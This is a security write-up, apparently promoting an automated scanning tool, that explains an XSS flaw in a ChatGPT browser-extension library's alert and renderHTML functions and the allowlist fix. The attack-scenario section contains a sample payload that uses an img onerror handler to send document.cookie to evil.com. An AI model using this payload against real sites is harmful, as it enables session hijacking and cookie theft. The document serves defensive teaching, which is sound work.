How Cross-Site Scripting (XSS) Happens in JavaScript Browser Extensions and How to Fix It
Summary
A cross-site scripting (XSS) vulnerability was discovered in extension/lib/chatgpt.js where the chatgpt.alert() function used modalMsg.innerText to set user-controlled content before passing it to chatgpt.renderHTML(), allowing injected HTML to be rendered unsanitized. The fix replaces innerText with textContent and introduces an allowlist of safe HTML tags and attributes inside renderHTML(). This prevents attackers from injecting arbitrary HTML or JavaScript through modal message content in downstream consumers of this Node.js library.
Introduction
The extension/lib/chatgpt.js file is the core utility library for a ChatGPT browser extension, responsible for rendering modal dialogs, processing chat content, and managing UI interactions. At line 288, the chatgpt.alert() function contained a subtle but dangerous pattern: it assigned user-controlled content to modalMsg.innerText, then immediately passed that same DOM element to chatgpt.renderHTML().
On the surface, using innerText instead of innerHTML looks like a safety-conscious choice. It isn't — not when the element is then handed to a function that re-parses its content as HTML markup. This one-two punch created a direct path for cross-site scripting attacks in every downstream application consuming this library.
The Vulnerability Explained
The Problematic Code Pattern
Here is the exact vulnerable line at extension/lib/chatgpt.js:288:
// VULNERABLE — before the fix
modalTitle.textContent = title || '' ; modalMsg.innerText = msg || '' ; chatgpt.renderHTML(modalMsg)
At first glance, innerText seems safe — it's not innerHTML, after all. But the critical mistake is what happens next: chatgpt.renderHTML(modalMsg) is called on the same element. Let's look at what renderHTML does inside the vulnerable version:
// VULNERABLE renderHTML (before fix)
const reTags = /<([a-z\d]+)\b([^>]*)>([\s\S]*?)<\/\1>/g,
reAttrs = /(\S+)=['"]?((?:.(?!['"]?\s+\S+=|[>']))+.)['"]?/g,
nodeContent = node.childNodes
// ...
const elem = elems[0],
[tagContent, tagName, tagAttrs, tagText] = elem.slice(0, 4),
tagNode = document.createElement(tagName) ; tagNode.textContent = tagText
renderHTML() uses a regex (reTags) to scan the node's text content for HTML tag patterns like <tagName attrs>text</tagName>, then calls document.createElement(tagName) to build real DOM nodes from whatever tag names it finds — without validating whether those tag names are safe.
Why innerText Doesn't Protect You Here
innerText does prevent immediate HTML injection into the DOM. However, it does not prevent the text content itself from containing HTML-like strings. When renderHTML() reads node.childNodes and applies reTags regex matching, it operates on the raw text — including any <script>, <img onerror=...>, or <iframe> strings that were stored as plain text. The function then faithfully creates DOM elements from those strings, effectively re-injecting the attacker's payload as live HTML.
A Concrete Attack Scenario
Imagine a downstream application that calls chatgpt.alert() with content derived from a URL parameter, API response, or shared chat message:
// Downstream consumer — attacker controls `userMessage`
const userMessage = '<img src=x onerror="fetch(`https://evil.com/?c=`+document.cookie)">'
chatgpt.alert('Notice', userMessage)
Under the vulnerable code:
1. modalMsg.innerText = userMessage — stores the string as text, no DOM injection yet.
2. chatgpt.renderHTML(modalMsg) — regex matches <img src=x onerror="...">, calls document.createElement('img'), sets attributes, appends to DOM.
3. Browser fires onerror, exfiltrating cookies to the attacker's server.
The PR description also notes that fetched HTML from shared chat URLs was processed without sanitization before being written to popup windows via document.write() — a second, equally dangerous sink.
Real-World Impact
This library is described as a Node.js package whose vulnerabilities affect all downstream consumers. Any application using chatgpt.alert() with content that originates from external sources (API responses, user input, shared URLs) is exposed to:
- Session hijacking via cookie theft
- Credential harvesting through injected fake login forms
- Malware distribution via drive-by download redirects
- UI redressing to deceive users into unintended actions
The Fix
The fix addresses the vulnerability in two coordinated places within chatgpt.js.
Change 1: Replace innerText with textContent at Line 288
// BEFORE (vulnerable)
modalTitle.textContent = title || '' ; modalMsg.innerText = msg || '' ; chatgpt.renderHTML(modalMsg)
// AFTER (fixed)
modalTitle.textContent = title || '' ; modalMsg.textContent = msg || '' ; chatgpt.renderHTML(modalMsg)
This is a one-word change with significant security implications. textContent sets the node's text and never triggers HTML parsing, even when the content is subsequently read back. While innerText and textContent are often treated as interchangeable, innerText is layout-aware and interacts differently with the DOM in ways that can be exploited in rendering pipelines. Using textContent consistently ensures the raw string is stored as inert text.
Change 2: Tag and Attribute Allowlist in renderHTML()
The second change adds an explicit allowlist inside renderHTML() so that even if content reaches the rendering function, only known-safe tags are processed:
// AFTER (fixed) — new allowlist variables added
const reTags = /<([a-z\d]+)\b([^>]*)>([\s\S]*?)<\/\1>/g,
reAttrs = /(\S+)=['"]?((?:.(?!['"]?\s+\S+=|[>']))+.)['"]?/g,
nodeContent = node.childNodes,
allowedTags = new Set(['a', 'b', 'i', 'em', 'strong', 'br', 'span', 'p', 'code', 'pre', 'ul', 'ol', 'li']),
allowedAttrs = { a: ['href', 'target', 'rel'], span: ['class', 'style'], code: ['class'] }
And in the element processing loop:
// AFTER (fixed) — disallowed tags are skipped
if (!allowedTags.has(tagName)) continue // skip disallowed tags
const tagNode = document.createElement(tagName) ; tagNode.textContent = tagText
The allowedTags Set contains only formatting and structural elements that have no script execution capability: a, b, i, em, strong, br, span, p, code, pre, ul, ol, li. Tags like <script>, <img>, <iframe>, <svg>, and <object> — all common XSS vectors — are absent and will be silently skipped.
The allowedAttrs map further restricts which attributes each tag may carry. An <a> tag can have href, target, and rel, but not onclick or onmouseover. A <span> can have class and style, but not event handlers.
Defense in Depth
These two changes work together as defense-in-depth:
| Layer | Mechanism | What it blocks |
|---|---|---|
| Input assignment | textContent instead of innerText |
Prevents layout-aware re-parsing quirks |
| Rendering gate | allowedTags.has(tagName) check |
Blocks <script>, <img>, <iframe>, <svg>, etc. |
| Attribute gate | allowedAttrs map |
Blocks onerror, onclick, onload event handlers |
Prevention & Best Practices
1. Never Mix Text Assignment with HTML Rendering on the Same Element
If you assign content to an element and then pass it to a function that re-parses that content as HTML, you must treat the assignment as HTML-unsafe regardless of which setter you use. Design rendering pipelines so that the trust boundary is explicit: either the content is always treated as plain text, or it goes through a sanitizer before any DOM node creation.
2. Use a Dedicated HTML Sanitization Library
For production applications, prefer battle-tested sanitization libraries over hand-rolled regex-based parsers:
- DOMPurify — the gold standard for browser-side HTML sanitization
- sanitize-html — Node.js-friendly with configurable allowlists
// Example using DOMPurify
import DOMPurify from 'dompurify'
const clean = DOMPurify.sanitize(userContent, { ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'] })
modalMsg.innerHTML = clean
3. Prefer textContent Over innerText for Untrusted Data
textContent is the safest DOM property for assigning untrusted strings. It never triggers HTML parsing, never fires layout recalculations, and its behavior is consistent across browsers and rendering contexts.
4. Avoid document.write() with External Content
The PR description notes that fetched HTML from shared chat URLs was processed via document.write(). This is one of the most dangerous DOM APIs — it completely replaces the document and bypasses many browser security controls. Replace it with controlled DOM construction or sanitized innerHTML assignment.
5. Apply Content Security Policy (CSP)
A strong CSP header provides a browser-level backstop against XSS even when code-level defenses fail:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
OWASP & CWE References
- CWE-79: Improper Neutralization of Input During Web Page Generation
- OWASP Top 10 A03:2021 — Injection (includes XSS)
- OWASP XSS Prevention Cheat Sheet: comprehensive guidance on output encoding and DOM-based XSS prevention
Key Takeaways
innerTextis not a sanitizer: Assigning user content viainnerTextand then passing the element to a rendering function is not safe — the rendering function reads back the text and can reconstruct HTML from it.renderHTML()without an allowlist is a universal XSS gadget: Any function that callsdocument.createElement(tagName)with unvalidated tag names from user content can be weaponized to inject<script>,<img onerror=...>, or any other executable element.- Allowlists beat blocklists: The fix uses
new Set([...safe tags...])and skips anything not in the set. A blocklist approach (trying to block known-bad tags) will always miss novel vectors. - Defense in depth matters: Fixing only the
innerText→textContentchange without also adding the allowlist inrenderHTML()would leave the rendering layer exploitable through other code paths. - Library XSS has multiplied blast radius: Because
chatgpt.jsis a shared library, this single vulnerability affected every downstream consumer — fixing it in one place protected all of them simultaneously.
How Orbis AppSec Detected This
- Source: User-controlled content passed as the
msgargument tochatgpt.alert()— this can originate from API responses, URL parameters, or shared chat content fetched from external URLs. - Sink:
chatgpt.renderHTML(modalMsg)atextension/lib/chatgpt.js:288, which callsdocument.createElement(tagName)with unvalidated tag names extracted from the node's text content via regex. - Missing control: No tag or attribute allowlist existed in
renderHTML(), andinnerTextwas used instead oftextContentbefore passing the element to the renderer — allowing the text content to be re-interpreted as HTML markup. - CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- Fix: Replaced
innerTextwithtextContentat line 288 and addedallowedTagsSet andallowedAttrsmap insiderenderHTML()to reject all non-allowlisted elements.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability is a textbook example of how seemingly safe DOM APIs can become XSS vectors when combined with a rendering pipeline that lacks an allowlist. The chatgpt.alert() function in extension/lib/chatgpt.js used innerText — which many developers consider "the safe option" — but immediately undermined that choice by passing the element to renderHTML(), which reconstructed DOM nodes from the text content without validating tag names.
The two-part fix is elegant precisely because it addresses both layers: textContent closes the input-assignment gap, and the allowedTags Set closes the rendering gap. Together, they ensure that no matter how content reaches renderHTML(), only known-safe markup can ever be constructed.
For developers building browser extensions or UI libraries that process external content: always trace the full lifecycle of user-controlled data through your rendering pipeline. A string that looks inert at assignment can become executable HTML several function calls later.